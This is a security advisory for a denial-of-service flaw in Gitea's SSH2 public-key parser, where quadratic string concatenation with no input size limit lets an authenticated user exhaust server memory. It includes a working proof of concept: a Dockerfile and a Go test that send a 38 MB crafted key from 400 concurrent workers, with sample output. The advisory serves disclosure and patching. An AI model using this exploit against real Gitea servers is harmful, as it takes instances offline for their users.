Skip to content

GHSA-4xjf-493q-98p3 CVE-2026-56657 GO-2026-6042

Gitea SSH Key Parser Denial of Service

Medium Go
Severity
0.0 / 10
Medium · CVSS 4.0
Exploit chance (EPSS)
0.17%
Chance of exploitation in the next 30 days. Higher than 6.86% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-284 Improper Access Control
CWE-400 Uncontrolled Resource Consumption
Fix
Available
2 packages have a fixed version

Description

Gitea's SSH key ingestion endpoint accepts keys in RFC 4716 (SSH2) format and normalises them before storage. The normalisation function contains an O(N²) string concatenation loop with no input size limit, meaning a single malicious key submission can force the server to perform an amount of work that grows quadratically with the size of the input. Any authenticated user can exploit this to exhaust the server's CPU and memory, taking the instance offline.

Root Cause

An attacker sends a POST /api/v1/user/keys request with a Bearer token and a JSON body whose key field contains a malicious RFC 4716 (SSH2) public key. The key consists of a valid SSH2 header followed by a very large number of short content lines — for example, 400,000 lines of 100 characters each (~38 MB total).

The request reaches CreateUserPublicKey with no prior size check:

https://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/routers/api/v1/user/key.go#L201-L212

This calls CheckPublicKeyString which immediately calls parseKeyString. Inside parseKeyString, the SSH2 branch splits the input on newlines and accumulates the key body one line at a time using keyContent += line:

https://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/models/asymkey/ssh_key_parse.go#L60-L79

Because Go strings are immutable, each += at line 77 allocates a new backing array and copies the entire accumulated string into it. For N lines the total bytes copied is N*(N+1)/2, making the operation O(N²) in both time and allocations. The validity of the key is only checked after the loop completes, so the entire quadratic work is performed regardless of whether the input is a real SSH key.

This is only possible because neither the web form field nor the API struct carries a size constraint:

https://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/services/forms/user_form.go#L308-L317

https://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/modules/structs/repo_key.go#L33-L49

PoC

To reproduce, clone gitea and checkout commit 9155a81b9daf1d46b2380aa91271e623ac947c1e. Then create the following files from the gitea root directory:

poc/Dockerfile

FROM golang:1.26-alpine AS builder

RUN apk add --no-cache git build-base

WORKDIR /gitea

# Download deps in a separate layer so rebuilds are fast after source changes.
COPY go.mod go.sum ./
RUN go mod download

# Copy full source (needed for fixtures, config templates, and compilation).
COPY . .

# Compile the integration test binary.
# modernc sqlite (pure Go, no CGO needed) is the default driver.
RUN CGO_ENABLED=0 go test -c \
      -o /integration.test \
      gitea.dev/tests/integration

# ── runtime image ────────────────────────────────────────────────────────────
FROM alpine:3.22

# git is required at runtime: the test framework initialises git repos.
RUN apk add --no-cache git

COPY --from=builder /integration.test /integration.test
# Keep the full source at /gitea so runtime.Caller(0) path resolution works
# and fixtures / config templates are accessible.
COPY --from=builder /gitea /gitea

RUN adduser -D -u 1000 poc && chown -R poc:poc /gitea

WORKDIR /gitea

USER poc

ENTRYPOINT ["/integration.test", \
            "-test.run", "TestDoSSSHKeyParserOOM", \
            "-test.v", \
            "-test.timeout", "600s"]

tests/integration/poc_dos_test.go

package integration

import (
	"fmt"
	"runtime"
	"runtime/debug"
	"strings"
	"sync"
	"sync/atomic"
	"testing"
	"time"

	auth_model "gitea.dev/models/auth"
	api "gitea.dev/modules/structs"
	"gitea.dev/tests"
)

func TestDoSSSHKeyParserOOM(t *testing.T) {
	defer tests.PrepareTestEnv(t)()

	// Raise the GC trigger so intermediate strings accumulate faster,
	// matching realistic server behaviour under sustained allocation load.
	debug.SetGCPercent(400)

	// Log in as an ordinary user — no special privileges needed.
	session := loginUser(t, "user1")
	token := getTokenForLoggedInUser(t, session, auth_model.AccessTokenScopeWriteUser)

	const (
		numLines     = 400_000
		charsPerLine = 100
		numWorkers   = 400
	)

	var sb strings.Builder
	sb.WriteString("---- BEGIN SSH2 PUBLIC KEY ----\n")
	sb.WriteString("Comment: dos\n")
	line := strings.Repeat("a", charsPerLine) + "\n"
	for i := 0; i < numLines; i++ {
		sb.WriteString(line)
	}
	sb.WriteString("---- END SSH2 PUBLIC KEY ----\n")
	payload := sb.String()

	peakGB := float64(numWorkers) * 2 * float64(numLines) * float64(charsPerLine) / (1 << 30)
	t.Logf("payload=%.1f MB  workers=%d  peak_theory=%.1f GB",
		float64(len(payload))/(1<<20), numWorkers, peakGB)

	// Each goroutine marshals its own JSON body. The bytes live in req.Body
	// for the entire duration of MakeRequest, so numWorkers concurrent
	// goroutines hold numWorkers × payload_size bytes simultaneously.
	// With numWorkers=400 and payload=38.5 MB: 400 × 38.5 MB = 15.4 GB → OOM.
	var (
		wg    sync.WaitGroup
		done  atomic.Int64
		ready = make(chan struct{})
		start = time.Now()
	)

	for i := 0; i < numWorkers; i++ {
		wg.Add(1)
		go func(id int) {
			defer func() { done.Add(1); wg.Done() }()
			<-ready

			req := NewRequestWithJSON(t, "POST", "/api/v1/user/keys", api.CreateKeyOption{
				Title: fmt.Sprintf("dos-%d", id),
				Key:   payload,
			}).AddTokenAuth(token)

			MakeRequest(t, req, NoExpectedStatus)
		}(i)
	}

	go func() {
		var ms runtime.MemStats
		ticker := time.NewTicker(5 * time.Second)
		defer ticker.Stop()
		for range ticker.C {
			runtime.ReadMemStats(&ms)
			t.Logf("[%4.0fs] done=%d/%d  HeapSys=%.1f GB  HeapAlloc=%.1f GB",
				time.Since(start).Seconds(), done.Load(), numWorkers,
				float64(ms.HeapSys)/(1<<30), float64(ms.HeapAlloc)/(1<<30))
		}
	}()

	close(ready)
	wg.Wait()
	t.Logf("all done in %.1fs — container survived, increase numWorkers or numLines",
		time.Since(start).Seconds())
}

When you run the Dockerfile, it should OOM, however this is highly dependent on the host machine. On my end, I do the following:

docker build -t gitea-dos-poc -f poc/Dockerfile .
docker run --rm --memory=12g --memory-swap=12g gitea-dos-poc

Which prints out:

=== TestDoSSSHKeyParserOOM (tests/integration/poc_dos_test.go:35)
    testlogger.go:62: 2026/06/02 14:37:40 modules/storage/local.go:48:NewLocalStorage() [I] Creating new Local Storage at /gitea/tests/gitea-lfs-meta
    testlogger.go:62: 2026/06/02 14:37:40 HTTPRequest [I] router: completed POST /user/login for test-mock:12345, 303 See Other in 29.9ms @ auth/auth.go:284(auth.SignInPost)
    testlogger.go:62: 2026/06/02 14:37:41 HTTPRequest [I] router: completed POST /user/settings/applications for test-mock:12345, 303 See Other in 17.8ms @ setting/applications.go:36(setting.ApplicationsPost)
    poc_dos_test.go:62: payload=38.5 MB  workers=400  peak_theory=29.8 GB

... demonstrating high memory consumption. On my end, memory is consumed within 1 second.

Affected versions

Go

PackageVulnerableFixed in
code.gitea.io/gitea
< 1.27.0
1.27.0
gitea.dev
< 1.27.0
1.27.0

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

code.gitea.io/gitea Go → 1.27.0

go
go get code.gitea.io/gitea@v1.27.0 && go mod tidy

gitea.dev Go → 1.27.0

go
go get gitea.dev@v1.27.0 && go mod tidy

Severity breakdown

CVSS 4.0 0.0

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N

Attack vector
Network
Attack complexity
Low
Attack requirements
None
Privileges required
None
User interaction
None
Confidentiality (vulnerable system)
None
Integrity (vulnerable system)
None
Availability (vulnerable system)
Low
Confidentiality (subsequent systems)
None
Integrity (subsequent systems)
None
Availability (subsequent systems)
None

CVSS 3.1 6.2

CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Attack vector
Local
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

Weakness

CWE-284: Improper Access Control

The product does not restrict or incorrectly restricts access to a resource from an unauthorized actor.

How to prevent it
  • Architecture and Design, Operation: Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.
  • Architecture and Design: Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area. Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.

CWE-400: Uncontrolled Resource Consumption

The product does not properly control the allocation and maintenance of a limited resource.

How to prevent it
  • Architecture and Design: Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.
  • Architecture and Design: Mitigation of resource exhaustion attacks requires that the target system either: recognizes the attack and denies that user further access for a given amount of time, or uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed. The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question. The second solution is simply difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply makes the attack require more resources on the part of the attacker.
  • Architecture and Design: Ensure that protocols have specific limits of scale placed on them.
  • Implementation: Ensure that all failures in resource allocation place the system into a safe posture.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-rcr6-4jqh-j84m
Gitea: Remote Code Execution via diffpatch Git Hook Installation
Critical Known exploited Also affects code.gitea.io/gitea
GHSA-fq2p-5p22-8g6j
Gitea: Public-Only Personal access tokens scope bypass in Organization and Permission Endpoints
Medium Also affects code.gitea.io/gitea
GHSA-2wm4-vwp6-v7xc
Gitea: SSRF via Migration Asset Downloads Bypasses hostmatcher — Reads Internal Files and Cloud Metadata
High Also affects code.gitea.io/gitea
GHSA-3r5c-2xxx-h872
Gitea: Webhook Authorization Header Returned in Plaintext via API
Low Also affects code.gitea.io/gitea
GHSA-frpw-3h2q-4jj6
Gitea: Cross-Repo Information Disclosure via Org-Level Actions Run/Job APIs
Medium Also affects code.gitea.io/gitea
GHSA-q423-49rw-g9mh
Gitea: GHSA-8fwc-qjw5-rvgp ClearRepoWatches fix not applied to API EditRepo path — sister code path retains stale watches on public->private
Medium Also affects code.gitea.io/gitea
GHSA-h56g-4qw7-2mxg
Gitea: Public-only API token restriction is not enforced on team API routes
Medium Also affects gitea.dev
GHSA-prr9-9mp4-5gp2
Gitea: Private org member list leaked via /members API endpoint — incomplete fix for PR #38145
High Also affects gitea.dev
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor